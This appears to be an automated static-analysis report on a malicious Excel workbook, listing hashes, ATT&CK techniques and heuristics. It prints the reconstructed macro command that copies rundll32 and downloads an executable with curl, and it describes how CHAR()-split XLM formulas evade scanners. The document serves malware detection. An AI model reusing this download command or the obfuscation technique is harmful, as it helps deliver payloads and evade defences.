Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 d0b2902b89d348f9…

MALICIOUS

Office (OOXML) / .XLSX

55.8 KB Created: 2020-11-30 03:16:14 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2022-09-12
MD5: b30eb76da87bb17c5454a42df9cfdaaa SHA-1: 5f063796c506975b234264c2d0b1e3630fa7d739 SHA-256: d0b2902b89d348f996798da6358c10a5aade84c33f98c80b60e592185c537084
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains critical Excel 4.0 macros that reassemble a command to create a directory, copy rundll32.exe, and then download a file named 'putty.exe' using curl. The reconstructed command is 'cmd /c mkdir c:\ms\temp&copy %windir%\system32\rundll32.exe c:\ms\1.exe&curl --output c:\ms\index.html --url https://the.earth.li/~sgtatham/putty/0.77/w32/putty.exe'. This indicates an attempt to download and execute a secondary payload.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks. The macro sheet is stored as XLSB/BIFF12 binary content, which many XML-only OOXML scanners miss.
  • XLM payload reassembled from CHAR()/split formulas critical OOXML_XLM_REASSEMBLED_PAYLOAD
    An Excel 4.0 macro sheet builds its payload inside the formula token stream by concatenating per-character CHAR() calls and string fragments, so no WinAPI name, shell command, or URL is ever contiguous in the .bin for a literal-bytes scan to find. Reassembling the formulas recovered download/execute API names, LOLBin commands (regsvr32/rundll32/mshta/wmic/powershell), or a payload URL — the de-obfuscated download-and-run kill chain.
  • External relationship high OOXML_EXTERNAL_REL
    External target in xl/drawings/_rels/drawing1.xml.rels: file:///Z:\build\___xls\index.png
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://the.earth.li/~sgtatham/putty/0.77/w32/putty

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.bin
b4af3efec0884c48ebfee0c4e534337b2091ccf112126b4458bcea425c676ba8		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.bin 1411 bytes

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